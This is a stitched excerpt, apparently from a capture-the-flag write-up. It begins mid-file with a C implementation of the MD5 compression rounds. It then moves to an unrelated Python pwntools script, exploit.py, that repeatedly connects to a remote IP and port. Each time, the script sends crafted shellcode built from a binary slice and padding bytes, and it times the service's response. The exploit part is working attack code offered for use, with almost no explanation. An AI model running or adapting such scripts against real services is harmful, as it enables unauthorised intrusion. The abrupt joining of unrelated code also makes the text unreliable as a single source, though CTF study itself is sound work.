                    | (uint32_t)block[i * 4 + 2] << 16  \
                    | (uint32_t)block[i * 4 + 3] << 24;

    uint32_t schedule[16];
    LOADSCHEDULE( 0)
    LOADSCHEDULE( 1)
    LOADSCHEDULE( 2)
    LOADSCHEDULE( 3)
    LOADSCHEDULE( 4)
    LOADSCHEDULE( 5)
    LOADSCHEDULE( 6)
    LOADSCHEDULE( 7)
    LOADSCHEDULE( 8)
    LOADSCHEDULE( 9)
    LOADSCHEDULE(10)
    LOADSCHEDULE(11)
    LOADSCHEDULE(12)
    LOADSCHEDULE(13)
    LOADSCHEDULE(14)
    LOADSCHEDULE(15)

    #define ROTL32(x, n)  (((0U + (x)) << (n)) | ((x) >> (32 - (n))))  // Assumes that x is uint32_t and 0 < n < 32
    #define ROUND0(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, d ^ (b & (c ^ d)), k, s, t)
    #define ROUND1(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, c ^ (d & (b ^ c)), k, s, t)
    #define ROUND2(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, b ^ c ^ d        , k, s, t)
    #define ROUND3(a, b, c, d, k, s, t)  ROUND_TAIL(a, b, c ^ (b | ~d)     , k, s, t)
    #define ROUND_TAIL(a, b, expr, k, s, t)    \
        a = 0U + a + (expr) + UINT32_C(t) + schedule[k];  \
        a = 0U + b + ROTL32(a, s);

    uint32_t a = state[0];
    uint32_t b = state[1];
    uint32_t c = state[2];
    uint32_t d = state[3];

    ROUND0(a, b, c, d,  0,  7, 0xD76AA478)
    ROUND0(d, a, b, c,  1, 12, 0xE8C7B756)
    ROUND0(c, d, a, b,  2, 17, 0x242070DB)
    ROUND0(b, c, d, a,  3, 22, 0xC1BDCEEE)
    ROUND0(a, b, c, d,  4,  7, 0xF57C0FAF)
    ROUND0(d, a, b, c,  5, 12, 0x4787C62A)
    ROUND0(c, d, a, b,  6, 17, 0xA8304613)
    ROUND0(b, c, d, a,  7, 22, 0xFD469501)
    ROUND0(a, b, c, d,  8,  7, 0x698098D8)
    ROUND0(d, a, b, c,  9, 12, 0x8B44F7AF)
    ROUND0(c, d, a, b, 10, 17, 0xFFFF5BB1)
    ROUND0(b, c, d, a, 11, 22, 0x895CD7BE)
    ROUND0(a, b, c, d, 12,  7, 0x6B901122)
    ROUND0(d, a, b, c, 13, 12, 0xFD987193)
    ROUND0(c, d, a, b, 14, 17, 0xA679438E)
    ROUND0(b, c, d, a, 15, 22, 0x49B40821)
    ROUND1(a, b, c, d,  1,  5, 0xF61E2562)
    ROUND1(d, a, b, c,  6,  9, 0xC040B340)
    ROUND1(c, d, a, b, 11, 14, 0x265E5A51)
    ROUND1(b, c, d, a,  0, 20, 0xE9B6C7AA)
    ROUND1(a, b, c, d,  5,  5, 0xD62F105D)
    ROUND1(d, a, b, c, 10,  9, 0x02441453)
    ROUND1(c, d, a, b, 15, 14, 0xD8A1E681)
    ROUND1(b, c, d, a,  4, 20, 0xE7D3FBC8)
    ROUND1(a, b, c, d,  9,  5, 0x21E1CDE6)
    ROUND1(d, a, b, c, 14,  9, 0xC33707D6)
    ROUND1(c, d, a, b,  3, 14, 0xF4D50D87)
    ROUND1(b, c, d, a,  8, 20, 0x455A14ED)
    ROUND1(a, b, c, d, 13,  5, 0xA9E3E905)
    ROUND1(d, a, b, c,  2,  9, 0xFCEFA3F8)
    ROUND1(c, d, a, b,  7, 14, 0x676F02D9)
    ROUND1(b, c, d, a, 12, 20, 0x8D2A4C8A)
    ROUND2(a, b, c, d,  5,  4, 0xFFFA3942)
    ROUND2(d, a, b, c,  8, 11, 0x8771F681)
    ROUND2(c, d, a, b, 11, 16, 0x6D9D6122)
    ROUND2(b, c, d, a, 14, 23, 0xFDE5380C)
    ROUND2(a, b, c, d,  1,  4, 0xA4BEEA44)
    ROUND2(d, a, b, c,  4, 11, 0x4BDECFA9)
    ROUND2(c, d, a, b,  7, 16, 0xF6BB4B60)
    ROUND2(b, c, d, a, 10, 23, 0xBEBFBC70)
    ROUND2(a, b, c, d, 13,  4, 0x289B7EC6)
    ROUND2(d, a, b, c,  0, 11, 0xEAA127FA)
    ROUND2(c, d, a, b,  3, 16, 0xD4EF3085)
    ROUND2(b, c, d, a,  6, 23, 0x04881D05)
    ROUND2(a, b, c, d,  9,  4, 0xD9D4D039)
    ROUND2(d, a, b, c, 12, 11, 0xE6DB99E5)
    ROUND2(c, d, a, b, 15, 16, 0x1FA27CF8)
    ROUND2(b, c, d, a,  2, 23, 0xC4AC5665)
    ROUND3(a, b, c, d,  0,  6, 0xF4292244)
    ROUND3(d, a, b, c,  7, 10, 0x432AFF97)
    ROUND3(c, d, a, b, 14, 15, 0xAB9423A7)
    ROUND3(b, c, d, a,  5, 21, 0xFC93A039)
    ROUND3(a, b, c, d, 12,  6, 0x655B59C3)
    ROUND3(d, a, b, c,  3, 10, 0x8F0CCC92)
    ROUND3(c, d, a, b, 10, 15, 0xFFEFF47D)
    ROUND3(b, c, d, a,  1, 21, 0x85845DD1)
    ROUND3(a, b, c, d,  8,  6, 0x6FA87E4F)
    ROUND3(d, a, b, c, 15, 10, 0xFE2CE6E0)
    ROUND3(c, d, a, b,  6, 15, 0xA3014314)
    ROUND3(b, c, d, a, 13, 21, 0x4E0811A1)
    ROUND3(a, b, c, d,  4,  6, 0xF7537E82)
    ROUND3(d, a, b, c, 11, 10, 0xBD3AF235)
    ROUND3(c, d, a, b,  2, 15, 0x2AD7D2BB)
    ROUND3(b, c, d, a,  9, 21, 0xEB86D391)

    state[0] = 0U + state[0] + a;
    state[1] = 0U + state[1] + b;
    state[2] = 0U + state[2] + c;
    state[3] = 0U + state[3] + d;
}
exploit.py
from pwn import *
import time

elf = ELF("./vuln")
#context.log_level = "debug"
context.arch = "amd64"

CODE = 0xdeadbeef000
DATA = 0xbabecafe000

def exp():
    global p
    for i in range(1, 0x2000):
        print("---------------------------curr", i)
        p = remote("111.186.59.29", 10086)
        #p = process(["python3","./uc_baaaby.py"])

        code = b""
        with open("./vuln2", "rb") as f:
            data = f.read()
            code = data[0x1044:0x16d0]
        print("Main code size:", hex(0x16d0-0x1044))
        payload = asm('''
            mov rbp, 0xbabecafefff;
            mov rsp, rbp;
        ''')
        print("Padding Size:", hex(len(payload)))
        payload += code
        payload += asm("mov rax, 0xbabecafe000;mov rcx, 0;")
        padding_num = 1609
        payload += (b"\xF0"*padding_num+b"\x26\x48\x81\x84\x08\x00\x01\x00\x00\x10\x00\x00")*((0x2000-len(payload))//(12+padding_num))
        payload = payload.ljust(0x2000, asm("nop"))


        p.send(payload)
        print("Payload size:", hex(len(payload)))
        #p.interactive()
        try:
            p.recvuntil(b"You took ")
            _time = int(p.recvuntil(b" ", drop=True).decode())
        except:
            p.close()
            continue
        print("Time used: ", hex(_time))
        if _time<=0x233:
            pause()
        p.close()
        time.sleep(0.2)

if __name__ == "__main__":
    exp()
[1]: https://eqqie.cn/usr/uploads/2021/12/724434718.png